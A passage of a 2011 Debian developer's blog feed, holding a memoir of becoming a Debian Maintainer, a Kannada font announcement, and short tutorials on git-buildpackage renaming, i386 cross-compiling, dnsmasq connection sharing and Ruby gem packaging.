rich. But that never happened I couldn't give enough time for Kannada wiktionary bot which still lies at &lt;b&gt;kn.dict.bot [at] jabber [dot] org&lt;/b&gt; serving meanings to people. Did I forgot to tell you that this bot has become a UNIX daemon and is monitored by monit service found in Linux. So its not only a UNIX daemon but a real zombie try killing it by giving non-sense words or whatever bot will die and will be back in a while like a Phoenix coming back from its Ash :). Psst. one secret thing I came to know is how naughty people are :D what nonsense words they send to this bot poor bot he nicely logged their email address and words :) Don't worry my intention was to give credits for undefined words but my plan was totally ruined by these people :).&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;The response I got from people for creating this bot was tremendous. I was flattered and got some more energy and inspiration to do more for people for FLOSS community. So let me continue my story now. After moving to Bangalore for a month or 2 I was totally disconnected from FLOSS and mostly from Internet. The whole misunderstanding was from my side that I thought laptop which I'll get from my new office will be installed with Debian as I am supposed to be working on the Debian itself but yes I was wrong instead I got Wind&lt;/i&gt;ows 7 &lt;i&gt;Enterprise. Sigh the OS which I hate most :(. I was not supposed to install anything other than official stuff but I did install Firefox because IE really sucks and hence with help of Chatzilla I used to get online in IRC and meet my buddies :). Did you think I got an internet connection ? No all ISP's denied me from Internet connection because I'm staying as a Paying Guest! Now I know why we say *Mera Bharat Mahan*.&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;After my first salary I managed to buy a cheap Acer Travelmate model which is Linux friendly. It came with Linpus Linux which I removed and installed Debian Wheezy and I also managed to get my HTC Wildfire USB Teathering to work with it and installed stuffs required to build Debian package. Do you think I'm 3G? Err nooo I use only 2G a broken connection from Vodafone I know how much pain I daily undergo in using it :(.&lt;/i&gt; &lt;i&gt;I said cheap but note that its Cheap in cost but for me its one the best hardware and works like a charm with Debian (no non-free blobs required!). &lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;So from Bangalore I continued my FLOSS/Debian work and started working on restructuring ttf-indic-fonts package which I self assigned to myself. Bubulle had told me that I had opened up a can of worm and now after starting to work on the package I really understand what he meant :). Its still not midway in the transition we in team Debian-IN lack man power for the work and some time I feel I'm getting buried by the burden I'm carrying&lt;/i&gt;. &lt;i&gt;But I still manage to crawl under all weight to reach my destination :).&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;During this time I had also taken additional responsibility of conducting the Mini DebConf in Mangalore area and I now being located in Bangalore had all sort of trouble communicating with my friends over in NMAMIT Nitte and in the period of time &lt;a href=&quot;http://wiki.debian.org/DebianIndia/MiniDebConf2011/MangaloreEdition&quot;&gt;Mini DebConf Mangalore Edition&lt;/a&gt; had become a International event which I never imagined it would become.&lt;/i&gt; &lt;i&gt;In one way or other I got benefited by hosting the event I got 3 DD's to sign my PGP key which my path to become a DM easy. I don't want to explain the whole event of Mini Debconf because it would take its own space :).&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;After the event I applied for DM position my application can be found &lt;a href=&quot;http://lists.debian.org/debian-newmaint/2011/11/msg00000.html&quot;&gt;here.&lt;/a&gt; Mine was the first application in the month of November and Kartik and Christian (bubulle) happily advocated me and I filed a bug report against debian-maintainer pseudo package by submitting a jetring changeset of my PGP key&lt;/i&gt; &lt;a href=&quot;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=647914&quot;&gt;&lt;i&gt;here&lt;/i&gt;&lt;/a&gt;. &lt;i&gt;It took a while for my key to be included in debian-keyring and I officially became a Debian Maintainer on December 1 exactly one month after my application. Finally I achived one of my long term dream to become a Debian Maintainer :). Next I want to become a Debian Developer according to rules I need to wait 6 more months before I can apply to NM front desk :). Before that I want to upload my package to Debian by myself :) need to see how long it will take.&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;In between my DM process I adopted dwm which was orphaned by its previous maintainer Kai Hendry. Its a very simple window manager which is younger brother of wmii. The whole reason to adopt was my long time dream to use window manager and love towards the &lt;a href=&quot;http://suckless.org/&quot;&gt;suckless project.&amp;nbsp;&lt;/a&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;Well after becoming DM a week spent without any productivity and on 9th I started back to my home town on a week long vacation. Now writing this post from my home and working on the &quot;can of worm which I opened&quot;&amp;nbsp; :) Well this is a longish post but I wanted to finish this post here. Don't worry I'll write more of the parts as and when I have more story :).. Till then so long folks. &lt;/i&gt;&lt;/div&gt;&lt;/div&gt;
</description>
<pubDate>Wed, 14 Dec 2011 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2011/12/my-journey-with-debian-and-floss-part-2.html</link>
<guid isPermaLink="true">http://copyninja.info/2011/12/my-journey-with-debian-and-floss-part-2.html</guid>
</item>



<item>
<title>My Journey with Debian and FLOSS - Part 1</title>
<description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;When I first started using Debian back in last half of 2009 I never thought I will go this far. Debian is one Linux distribution with which I felt comfortable after traveling across 10 distribution. My Linux interest started first back in 2007 when I was in engineering 3rd / 4th semester when the &lt;/i&gt;&lt;i&gt;Nirmitsu group from Bangalore conducted a day long work shop. This work shop showed me beauty of command line and existence of distribution called &lt;/i&gt;&lt;i&gt;Ubuntu and &lt;/i&gt;&lt;i&gt;Debian.&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;Even though I was introduced first to &lt;/i&gt;&lt;i&gt;Ubuntu and even I got more than 20 CD's of &lt;/i&gt;&lt;i&gt;Ubuntu 6.04 it was not my first Linux distribution because of lack of internet connection and lack of the packages in&lt;/i&gt;&lt;i&gt; Ubuntu CD. My first Linux was &lt;/i&gt;&lt;i&gt;Red Hat Enterprise Linux 4 after that I moved to Red Hat Enterprise Linux 5 both these Linux were good and provided all packages in set of 4-5 CD's after that the curriculum wanted me to use Fedora and first one I tried was Fedora 8 for NCTUNS then Fedora 9 in between my college System Analyst introduced me to Mandriva 2008 and Mandriva 2009 but none of these Linux solved my problem for connecting to Internet and finally I landed on Ubuntu 8.10 which some time was allowing me to connect to internet but not always then I tried Zenwalk a Slackware derivative in the hope to getting connected to internet but there also I failed badly after searching a lot in the internet Ubuntu 9.04 finally allowed me to connect to internet. Mean while during college project I started using Debian which was introduced to us during Linux Habba conducted by then active Tech Sampada team and we had a local repo for then testing Debian Lenny (5.0) I finished my project with combination of Debian as server and Ubuntu (8.10) as client.&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;After my college time I started working for a company in Mangalore and there I was first working on Windows as Blackberry Application developer and later moved Mac OS X 10.5 as iPhone developer during the time I had a strong urge to do something and contribute to FLOSS community but I didn't had much technical skills just like other engineers who will pass out of college. So I started contributing as a Kannada translator in KDE project under guidance of Shankar Prasad later joined launchpad and tried to help in Ubuntu-Kannada translation. In the mean while the changes in Ubuntu made me unhappy I used to lose the feel of Debian which was present in Ubuntu when I first started using it. With advent of Ubuntu 9.10 I threw away the Ubuntu from my home computer and started using Debian Lenny which had become stable during the time but the old components of Lenny dissatisfied me and I took a major turn and got Sidux (now known as AptoSid) and unstable derivative of Debian. Telling it derivative will be wrong because it was Debian itself with some modifications provided by AptoSid community. Now I could connect to Internet and get all the developer tools required. During this time I was introduced to &lt;a href=&quot;http://thottingal.in/&quot;&gt;Santhosh Thottingal&lt;/a&gt; by my friend Laxmi Narayan Kamath and I slowly and steadily jumped into development of &lt;a href=&quot;http://silpa.org.in/&quot;&gt;SILPA&lt;/a&gt; (Swathantra Indian Language Processing Application) using Python. Python had become my favorite language. I provided many optimization fixes to SILPA and some more bug fixes which made Santhosh think I'm a valuable asset and I became the Co-Developer of SILPA. I was working in some other projects Santhosh founded like Pypdflib and also contributed in some way to his WikiSource CD project also. During this same time I started a strong urge towards helping Debian but I really didn't know where to look for starting my journey towards Debian and in the nick of time I saw mail from &lt;a href=&quot;http://j4v4m4n.in/&quot;&gt;Praveen&lt;/a&gt; to the SMC list stating he is going to conduct a packaging work shop the Saturday night and I replied asking If I can join and he happily welcomed me. And thus under guidance of Praveen I started learning Debian packaging and Pypdflib (Santhosh's project) was the first one I choose to package being a Python library and I'm being unaware of Python packaging policy I came across many problems and Praveen by himself not able to solve connected me to &lt;a href=&quot;http://ftbfs.wordpress.com/&quot;&gt;Kartik Mistry&lt;/a&gt; one of the most active India Debian Developer who helped me solve the problem and happily uploaded my first Debi an package to Debian (after 1 rejection from the FTP Masters) and I was the happiest man to be finally being part of Debian. The package still lies in the experimental branch of Debian which shows my sheer ignorance towards the package? (just kidding) Pypdflib is not actively under developement after we lost our most active developer Jinesh&amp;nbsp; recently. I still intend to move it to unstable from experimental. With this package I also became member of Debian-IN team, the team which maintains Indian language related fonts and other packages.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;After getting my first package into Debian my urge to package became more and more and I started searching for a good package until I came across the IndUni fonts which first I thought some sort of Indic language fonts untill I talked with the upstream author John Smith who clarified its Indology symbols inside the fonts finally I packaged it and because of this font I joined pkg-fonts-devel team and came to know the most respected person in Debian, Christian &quot;bubulle&quot; Perrier or in short we call him bubulle :).&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Now recalling stuffs is bit difficult but I think after this the Open Source Federated social network Diaspora* became so famous amongst us the hackers that we decided that we should package it for Debian. It was difficult because it required so many gems to package and we lacked the man power and hence Praveen started advocating people about Diaspora* and try to teach people about ruby packaging and get them to package a gem. But he was not successful people at first show very much interest file ITP and some even go till finish package and send RFS and then disappear. So this created some chaos in pkg-ruby-extras team than helping it. And finally Lucas clearly mentioned he won't sponsor any Diaspora* packagers unless they have helped in pkg-ruby-extra transition and to undo what happened because of him Praveen started helping in transition of gems in pkg-ruby-extras team. In this whole Diaspora* packaging fuss I'm the only one who managed to get 2 new gems into Debian (ruby-polyglot and ruby-bcrypt) and also helped in transition of ruby-hmac. So now packages maintained by me in Debian reached to 5. Also during this time I floated away from Diaspora* to find a new and better federated home at &lt;a href=&quot;http://friendica.com/&quot;&gt;Friendica&lt;/a&gt; more about this later.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Mean while Santhosh filed RFP's for getting &lt;a href=&quot;http://www.kiwix.org/&quot;&gt;Kiwix&lt;/a&gt; into Debian and I happily ITPed it back in March or April which is still a pending package from my side first due to build tool bug and now due to the reason package depends on xulrunner-1.9.1 which is no more in Debian and the upstream is still working on making it either independent of Xulrunner or make it depend on higher version of Xulrunner. The whole thing I learned during packaging fonts-johnsmith-induni and kiwix is how Debian actually helps improving the upstream. Whole lesson learned is have always a good relation with upstream.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Next was one more RFP by Santhosh for getting Pagul fonts for Saurashtra language into Debian which I claimed for Debian-IN and which is now in Debian. ( Now to continue my story in Debian give me a second I need to have a peek at what package I'm maintaining ;) ). Well I think post is already too longish so let me split into 2. Till the next part happy flossing hackers!&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;
</description>
<pubDate>Tue, 13 Dec 2011 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2011/12/my-journey-with-debian-and-floss-part-1.html</link>
<guid isPermaLink="true">http://copyninja.info/2011/12/my-journey-with-debian-and-floss-part-1.html</guid>
</item>



<item>
<title>Kannada gets new fonts</title>
<description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;&lt;b&gt;Just some background on fonts in Kannada&lt;/b&gt;&lt;/i&gt; &lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Kannada (ISO language code - kn) is widely spoken language in Karnataka. Even though we are the IT hub of India advancement of Kannada in computers is very very less. But there was some effort from some of the Open source community to make Kannada language usage in computers more and more user friendly. Of those efforts to provide a Unicode font to Kannada one was taken up by IISC Bangalore which gave to fonts &lt;i&gt;Kedage &lt;/i&gt;and &lt;i&gt;Malige &lt;/i&gt;to us but because of some controversies (which I really don't know clearly) they just GPLed both fonts and walked away. On the other hand Red Hat is maintaining &lt;i&gt;Lohit &lt;/i&gt;font family and provided us most bug free &lt;i&gt;Lohit Kannada. &lt;/i&gt;But most of the Linux geeks are not happy with appearence of &lt;i&gt;Lohit Kannada &lt;/i&gt;so every one&amp;nbsp; is happy to use &lt;i&gt;Kedage &lt;/i&gt;besides of many bugs.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;As I was restructuring the &lt;i&gt;ttf-indic-fonts &lt;/i&gt;for Debian I was looking at the bugs reported against the package and I came across the bugs reported against &lt;i&gt;Kedage &lt;/i&gt;and I asked my friend &lt;a href=&quot;http://aravindavk.in/&quot;&gt;Aravinda&lt;/a&gt; if he can fix them and maintain the font. He readily agreed and fixed the bugs in both &lt;i&gt;Kedage &lt;/i&gt;and &lt;i&gt;Malige &lt;/i&gt;and created repo of both on github. Since maintaining the &lt;i&gt;Kedage &lt;/i&gt;and &lt;i&gt;Malige &lt;/i&gt;itself is not possible because we don't have any consent from upstream finally he decided to call that a fork and now &lt;i&gt;Kedage =&amp;gt; Gubbi &lt;/i&gt;and &lt;i&gt;Malige =&amp;gt; Navilu &lt;/i&gt;both fonts are now licensed under Open Font License 1.1 (OFL) and is available in Github [1] [2].&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Gubbi -&amp;nbsp;&lt;/i&gt; &lt;i&gt;Old Kedage with new bug fixes and rendering issues fixed&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Navilu- Old Malige (Hand written fonts) with bug fixes and rendering issues fixed &lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;I'm happy to announce that we now have a well maintained beautiful free fonts for Kannada and all thanks goes to Aravinda. And wait a bit more folks we have more to come :)&lt;/div&gt;&lt;br /&gt;[1] http://github.com/aravindavk/Gubbi&lt;br /&gt;[2] http://github.com/aravindavk/Navilu&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;
</description>
<pubDate>Sun, 11 Dec 2011 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2011/12/kannada-gets-new-fonts.html</link>
<guid isPermaLink="true">http://copyninja.info/2011/12/kannada-gets-new-fonts.html</guid>
</item>



<item>
<title>git-buildpackage: Renaming a package in Git repo</title>
<description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Just to give a background I've been working on renaming &lt;i&gt;ttf-indic-fonts &lt;/i&gt;package in &lt;i&gt;&lt;a href=&quot;http://alioth.debian.org/projects/debian-in&quot;&gt;Debian-IN&lt;/a&gt; &lt;/i&gt;team. And after packaging the &lt;i&gt;Lohit and Samyak fonts &lt;/i&gt;I sent a mail to &lt;i&gt;debian-in-workers &lt;/i&gt;mailing list giving the current status. And after a short &lt;a href=&quot;http://lists.alioth.debian.org/pipermail/debian-in-workers/2011-November/001734.html&quot;&gt;discussion&lt;/a&gt; &lt;i&gt;Christian bubulle Perrier&lt;/i&gt; suggested me to use ISO 15924 language codes rather than ISO script code (2 letters).&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;We are now using the Git VCS for maintaining the packages and as known the &lt;i&gt;git-buildpackage &lt;/i&gt;uses a branch called &lt;i&gt;pristine-tar&amp;nbsp; &lt;/i&gt;and &lt;i&gt;upstream &lt;/i&gt;branch to regenerate the &lt;i&gt;orig tar ball. &lt;/i&gt;So if you only change the package name in &lt;i&gt;control &lt;/i&gt;and &lt;i&gt;changelog &lt;/i&gt;and &lt;i&gt;git-buildpackage &lt;/i&gt;fails badly saying it can't create &lt;i&gt;orig tar ball&lt;/i&gt;. So do the following&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;i&gt;git checkout pristine-tar&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;i&gt;git mv package_version.orig.tar.gz.delta newpackage_version.orig.tar.gz&lt;/i&gt;.&lt;i&gt;delta&lt;/i&gt;&lt;br /&gt;&lt;i&gt;git mv package_version.orig.tar.gz.id newpackage_version.orig.tar.gz.id&lt;/i&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt; &lt;/i&gt;Here &lt;i&gt;package&lt;/i&gt; is old package name and &lt;i&gt;newpackage&lt;/i&gt; is new name for the package. Next commit the changes. Now the important point if you simply write &lt;i&gt;renamed the package &lt;/i&gt;as new commit message the when you run &lt;i&gt;git-buildpackage &lt;/i&gt;you will get following warning&lt;/div&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;i&gt;git-buildpackage: warning renamed pristine-tar data unable to detect compression type assuming gzip&lt;/i&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;After struggling a lot finally figured that &lt;i&gt;pristine-tar &lt;/i&gt;command uses commit message to assume the compression type. Yes thats how pristine-tar is working so you should write commit message similar to the default one created by &lt;i&gt;git-import-dsc &lt;/i&gt;when first importing package to repository. To be more precise commit message should be some thing like below.&lt;/div&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;pristine-tar data for newpackage_version.orig.tar.gz&lt;/i&gt;&lt;/div&gt;&lt;/blockquote&gt;Replace is &lt;i&gt;newpackage_version.orig.tar.gz &lt;/i&gt;with actual orig tar ball name and in case your package is bzip then replace gz with bz2. And you have successfully renamed the package in git repository.&lt;/div&gt;
</description>
<pubDate>Mon, 14 Nov 2011 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2011/11/git-buildpackage-renaming-a-package-in-git-repo.html</link>
<guid isPermaLink="true">http://copyninja.info/2011/11/git-buildpackage-renaming-a-package-in-git-repo.html</guid>
</item>



<item>
<title>Tutorial: Cross compiling C application to i386 architecture</title>
<description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Recently I had to compile an C application for i386 architecture but I was running x86_64 Debian Wheezy. The libraries used for linking to create the final application where compiled for i386 arch and GCC was skipping them as it was not compatible one. I knew it is possible to cross compile using GCC but I was a noob to cross compilation. Searching in the internet took me to sites which suggests use of tool chains like binutils. But my program was too simple to undergo through all this. Finally I posted finally this question [1] on StackOverflow, and thanks to guys at Stackoverflow I got immidiate answer!&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Well yeah as told its pretty easy for corss compiling for i386 architecture in gcc only thing is needed is you add &lt;i&gt;&lt;b&gt;-m32&lt;/b&gt;&lt;/i&gt;&amp;nbsp; in CFLAGS of your make file. You may also add &lt;i&gt;&lt;b&gt;-march=i386&lt;/b&gt;&lt;/i&gt; to optimize it for i386 architecture. Yes you guessed it right this won't work simply you need to have entire i386 compatible libc and libc-dev files so if you are on Debian based system then use following command to install it.&lt;/div&gt;&lt;blockquote&gt;&lt;i&gt;sudo apt-get install ia32-libs ia32-libs-dev libc6-dev-i386&lt;/i&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;If you want to know about other distro's well you better refer your distribution documentation.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Yes this will also works in &lt;i&gt;clang &lt;/i&gt;compiler. &lt;/div&gt;&lt;br /&gt;[1] http://stackoverflow.com/questions/7219256/cross-compiling-a-c-application-using-gcc&lt;br /&gt;&lt;br /&gt;Signing off&lt;br /&gt;-- Vasudev&lt;/div&gt;
</description>
<pubDate>Thu, 01 Sep 2011 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2011/09/tutorial-cross-compiling-c-application-to-i386-architecture.html</link>
<guid isPermaLink="true">http://copyninja.info/2011/09/tutorial-cross-compiling-c-application-to-i386-architecture.html</guid>
</item>



<item>
<title>Tutorial: Sharing 3G Internet Connection Using Laptop Wifi</title>
<description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;I've got a new laptop and plan to buy a new internet connection. Since me and my room mate are planning to share the cost of internet we are now faced with a problem of how to share a single datacard connection b/w us. After searhching a lot in the internet came accross this article [1]. But the new isc-dhcp-server package in Debian was not running for some reason so thought of going in my own way using dnsmasq as dhcp and dns server for peer laptop. Below is what I did.&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;First step is to install dnsmasq. Below is the command for installing the&amp;nbsp; same for Debian based distro. For other distro please follow your distro documentation&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;apt-get install dnsmasq&lt;/i&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Next step is configuring the dnsmasq as dhcp and dns cache. First rename the original configuration file &lt;i&gt;dnsmasq.conf&lt;/i&gt; found in /etc to &lt;i&gt;dnsmasq.conf.orig&lt;/i&gt; and create new empty file in place of it&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;sudo mv /etc/dnsmasq.conf /etc/dnsmasq.conf.orig&lt;/i&gt; &lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;sudo touch /etc/dnsmasq.conf&lt;/i&gt; &lt;/blockquote&gt;Now add this to your dnsmasq.conf.&amp;nbsp; &lt;br /&gt;&lt;script src=&quot;https://gist.github.com/1130151.js&quot;&gt; &lt;/script&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Modify the file as required. I assume the reader knows basics of dhcp and dns stuffs. If you didn't understand few stuffs ping me or use man page which provides all the information about the commands.&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;After editing dnsmasq.conf now restart the dnsmasq daemon using following command&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;sudo /etc/init.d/dnsmasq restart # Debian&lt;/i&gt;&lt;br /&gt;&lt;i&gt;sudo /etc/rc.d/dnsmasq restart # Arch&lt;/i&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;We need to have a small script to enable the internet sharing. This script is originaly taken from [1] I've only enabled the wep encryption to secure the access point&lt;/div&gt;&lt;br /&gt;&lt;script src=&quot;https://gist.github.com/1130164.js&quot;&gt; &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;You should run this script as root and once executed you should be able to see the network access point!. Next step is testing B.A.T.M.A.N integration, till then cya..&lt;/div&gt;&lt;br /&gt;Reference:&lt;br /&gt;[1] http://www.go2linux.org/linux/2011/03/share-your-3g-internet-connection-over-wifi-linux-ipod-touch-925 &lt;br /&gt;[2] http://element.edoceo.com/howto/dnsmasq&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;
</description>
<pubDate>Sun, 07 Aug 2011 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2011/08/tutorial-sharing-3g-internet-connection-using-laptop-wifi.html</link>
<guid isPermaLink="true">http://copyninja.info/2011/08/tutorial-sharing-3g-internet-connection-using-laptop-wifi.html</guid>
</item>



<item>
<title>Tutorial: Packaging Ruby Gem in Debian</title>
<description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div style=&quot;color: red; text-align: justify;&quot;&gt;&lt;i&gt;&lt;b&gt;Disclaimer: I'm not a ruby programmer I do ruby packaging because I want to help out the pkg-ruby-extras in their transition to new policy in Wheezy&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;To start with I came to package ruby because we (me and some of my friends) wanted to package Diaspora for Debian but later figured that there is lot needs to be done in the &lt;i&gt;pkg-ruby-extras&lt;/i&gt; so thought of helping the team which will intern help in packaging Diaspora.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Before I start here is the new policy for Ruby in Wheezy [1] and here is the current status of ruby packages in Wheezy [2] this is regernerated daily.&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;New policy uses a tool called &lt;i&gt;gem2deb&lt;/i&gt; which makes it very easy to package a gem (of course it only creates skeleton package :)). If you are on testing/unstable you can install the tool by issuing following command&lt;/div&gt;&lt;blockquote&gt;&lt;i&gt;# apt-get install gem2deb&lt;/i&gt; &lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;If not you can install it from Github using following commands&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre style=&quot;font-family: inherit;&quot;&gt;&lt;i&gt;git clone git://github.com/ln/gem2deb.git&lt;br /&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-2&quot;&gt;&lt;/span&gt;cd gem2deb&lt;br /&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-3&quot;&gt;&lt;/span&gt;rake install&lt;br /&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-4&quot;&gt;&lt;/span&gt;then, cd to some temporary place, and do:&lt;br /&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-5&quot;&gt;&lt;/span&gt;gem2deb rdiscount # native gem&lt;br /&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-6&quot;&gt;&lt;/span&gt;or:&lt;br /&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-7&quot;&gt;&lt;/span&gt;gem2deb i18n # pure-ruby gem&lt;/i&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Once you have installed gem2deb its a 3 step task, follow the following 3 steps to get a rough package source ready of a gem&lt;/div&gt;1. Download the gem using following command&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;gem fetch polyglot&lt;/i&gt;&lt;/blockquote&gt;2. Convert the &lt;b&gt;&lt;i&gt;.gem&lt;/i&gt;&lt;/b&gt; file to &lt;b&gt;&lt;i&gt;.tar.gz&lt;/i&gt;&lt;/b&gt; using following command&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;gem2tgz polyglot-0.3.1.gem&lt;/i&gt;&lt;/blockquote&gt;3. Now create a rough Debian package source using following command&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt; dh-make-ruby polyglot-0.3.1.tar.gz&lt;/i&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Actually the &lt;i&gt;pkg-ruby-extras&lt;/i&gt; team suggests using gem2deb in the second step itself which tries to build the gem along with creating Debian package source for it. But I prefer going this way and build the package once I'm completely finished with packaging related stuffs for the package (i.e editing copyright control changelog and other stuffs). If you think you are lazy to follow the above 3 steps then you should checkout the script which I've written. All you need to do is give the gem name(s) to the script and it does the above 3 steps for you.&lt;/div&gt;&lt;br /&gt;&lt;script src=&quot;https://gist.github.com/973217.js&quot;&gt; &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Once the above 3 steps and editing task for the package is done go ahead and build the package using &lt;i&gt;pbuilder. &lt;/i&gt;Check the resulting package for lintian warnings and errors (You can ignore warning regarding &lt;i&gt;ruby-version&lt;/i&gt; field for now there is already a wishlist bug reported against lintian for this). If you are a new maintainer like me go ahead and upload the package to mentors.debian.net and send RFS to &lt;i&gt;debian-ruby at lists dot debian dot org &lt;/i&gt;and wait for the review :) (and do promptly follow up to the replies).&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Reference for this tutorial is in RubyInWheezy page [1]. After reading this tutorial if you are Debian user and passionate about Debian I hope you will help out &lt;i&gt;pkg-ruby-extras&lt;/i&gt; in this transition :)&lt;/div&gt;&lt;br /&gt;[1] &lt;a href=&quot;http://wiki.debian.org/Teams/Ruby/RubyInWheezy&quot;&gt;http://wiki.debian.org/Teams/Ruby/RubyInWheezy&lt;/a&gt;&lt;br /&gt;[2] &lt;a 